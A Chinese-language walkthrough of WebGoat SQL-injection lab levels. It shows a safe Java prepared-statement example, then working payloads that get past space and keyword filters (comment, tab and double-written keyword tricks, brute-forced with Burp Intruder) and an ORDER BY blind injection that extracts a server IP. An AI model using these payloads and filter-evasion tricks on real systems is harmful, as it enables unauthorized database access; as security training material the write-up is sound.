目录
一、快乐的闯关
第5页
第6页
第9页
1、多行注释/**/绕过
2、空白字符绕过
3、括号绕过
第10页
第12页
二、课程思维导图
这一页就是照葫芦画瓢,根据第3和第4页来完成一段没有SQL注入漏洞的代码。
按照下图填写就行了,先连接数据库,然后定义预编译语句,再用输入的参数替换placeholder。
这页是照葫芦画大瓢,自己写一段没有SQL注入漏洞的代码。下图这段代码和第5页的思路是一样的,就不赘述了。注意写的时候要定义变量,要不然会compile失败。
下面这段代码和上图一样,主要是方便复制( •̀ ω •́ )✧
String userName = "lily";
try {
Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
ps.setString(1, userName);
ResultSet results = ps.executeQuery();
System.out.println(results.next());
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}
这页是说对前面的某一关做了改进,增加了输入检查,这关要求绕过输入检查
这输入框看着眼熟,是哪一关呢?
往前一找,原来是SQL Injection(advanced)的第3页
当时这页的payload是Dave' union select userid,user_name,password,cookie,'5','6',7 from user_system_data-- ss或者1';select * from user_system_data-- ss
选一个payload输入到本页,提交后回显提示不允许输入空格:
网上找一下SQL注入绕过空格,能搜到几种办法(主要参考SQL注入绕过技巧):
(1)用多行注释/**/绕过
(2)空白字符绕过(%20 %09 %0a %0b %0c %0d %a0 %00等)
(3)括号绕过
(4)反引号`
(5)两个空格
反引号和两个空格试了不行,剩下的来一个一个试:
首先,把1';select * from user_system_data-- ss中的空格都替换为/**/
构造payload:1';select/**/*/**/from/**/user_system_data--/**/ss
真幸运,成功了~
如果要试空白字符绕过的话,其实可以把所有空白字符做成一个字典,用burpsuite进行爆破
这里来玩一下~
我把%20 %09 %0a %0b %0c %0d %a0 %00和/**/做成了一个sql空格绕过字典
在这页的输入框输入1';select * from user_system_data-- ss并提交之后,burpsuite抓到报文,send to intruder,并像下图这样把所有加号设置为爆破点,attack type选Battering ram,这样就能一个字典同时作用于所有爆破点。
字典部分如下图这样设置:
按start attack爆破,得到的结果按length排序,发现什么length都有。。。还得自己看
最后发现可以找特征"lessonCompleted" : true
过滤出来三个绕过成功的:%09 %0c和/**/
需要注意的是,这题把在burp中爆破成功的两个空白字符payload直接拿到浏览器去提交是会报错的:
比如1'%3Bselect%0c*%0cfrom%0cuser_system_data--%0css
抓包发现payload中百分号被编码了
如果非要在网页上提交的话,可以用TAB(%09),payload为:1';select * from user_system_data-- ss(emmm如果直接复制TAB会变成4个空格,记得自己把4个空格替换为TAB哦~)
最后来试下括号绕过,虽然好像不太合适,括号应该是用来包围子查询的,好歹也得包围个可以计算出结果的东西,但是我们这题好像并没有这样的东西。。
算了,试试,直接输入payload:1';select(*)from(user_system_data)#
嗯,确实不行
这一页在输入检查的路上越走越远。
先试试上一关的答案,发现提示空格和SQL关键字不能用。
上一关说了怎么绕过空格,这关说一下怎么绕过关键字(主要参考sql注入绕过方法总结和SQL注入学习总结(四):SQL注入中的绕过):
(1)关键字内插入/**/
(2)大小写绕过
(3)双写绕过(删除关键字的情况)
(4)内联注释绕过(mysql)(把一些特有的仅在MYSQL上的语句放在 /*!...*/
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行)
(5)关键字内插入<>(有些网站为了防止xss可能过滤<>)
(6)and和or可以试试&&、||或者异或注入
试下来这题可以用双写绕过,payload:1';seselectlect * frfromom user_system_data-- ss(如果复制记得自己把4个空格替换为TAB)
这一页要求用ORDER BY实现SQL注入,找webgoat-prd的ip地址。
按一下Hostname旁边的上下三角,按hostname排序,burp抓到的报文如下,url的column值为hostname。
再按一下IP旁边的上下三角,按ip排序,burp抓到的报文如下,url的column值为ip。
合理怀疑SQL语句是SELECT * FROM xxx ORDER BY yyy(xxx表示数据表名,yyy表示数据表中的列名),并且该数据库有两列的列名分别是hostname和ip(当然也不排除后端代码转来转去,数据库列名并不是这里的参数的情况,如果是这样的话就尴尬了)。
那这里根据11页的描述,可以把hostname替换成 (CASE WHEN (xxx) THEN hostname ELSE ip END) ,其中xxx的结果是一个bool值,用来判断webgoat-prd的ip地址,如果bool值为TRUE则按hostname排序,如果为FALSE则按ip排序。
注意最后一定要有END,这是语法,11页竟然没写。。。
由于这道题中我们需要知道的内容是hostname为webgoat-prd的服务器的ip(假设hostname和ip确实是列名),那么相应的查询语句应该是
SELECT ip FROM xxx WHERE hostname="webgoat-prd"
xxx表示数据表名,是我们目前不知道的信息。根据题干信息,先盲猜数据表名是server吧,在burpsuite中把上面抓到的报文send to repeater,然后用下面这个payload替换ip或者hostname:
(CASE+WHEN(substring((SELECT+ip+FROM+server+WHERE+hostname='webgoat-prd'),1,1)='1')+THEN+hostname+ELSE+ip+END)--+
注意payload中的+表示空格,由于本题是GET方法获取的参数,因此burpsuite中需要用+代替空格,不然返回400 Bad Request。
本来我还想继续猜一猜数据表名,哪知道报错信息直接把整个查询语句给出来了,从上图的Response可知,表名是servers。
接下来,我们可以把报文send to intruder进行爆破,也可以用我之前写的python脚本python实现sql盲注改一改。
由于本题只需要猜最多三个数字,我就直接到intruder模块手工爆破了。
爆破第1位数字的payload是:
(CASE+WHEN(substring((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),1,1)='x')+THEN+hostname+ELSE+ip+END)--+
爆破第2位数字的payload是:
(CASE+WHEN(substring((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),2,1)='x')+THEN+hostname+ELSE+ip+END)--+
爆破第3位数字的payload是:
(CASE+WHEN(substring((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),3,1)='x')+THEN+hostname+ELSE+ip+END)--+
下面以第1位数字举例,其他两位类似:
像下图这样设置intruder模块
start attack之后得到的结果长度都是一样的,所以需要自己点开Response看是按什么排序的
从下图的结果可以看出ip地址的第一位为1
全部3位爆破完成后发现是104,完整的ip地址是104.130.219.202,填入输入框,提交后即可通过。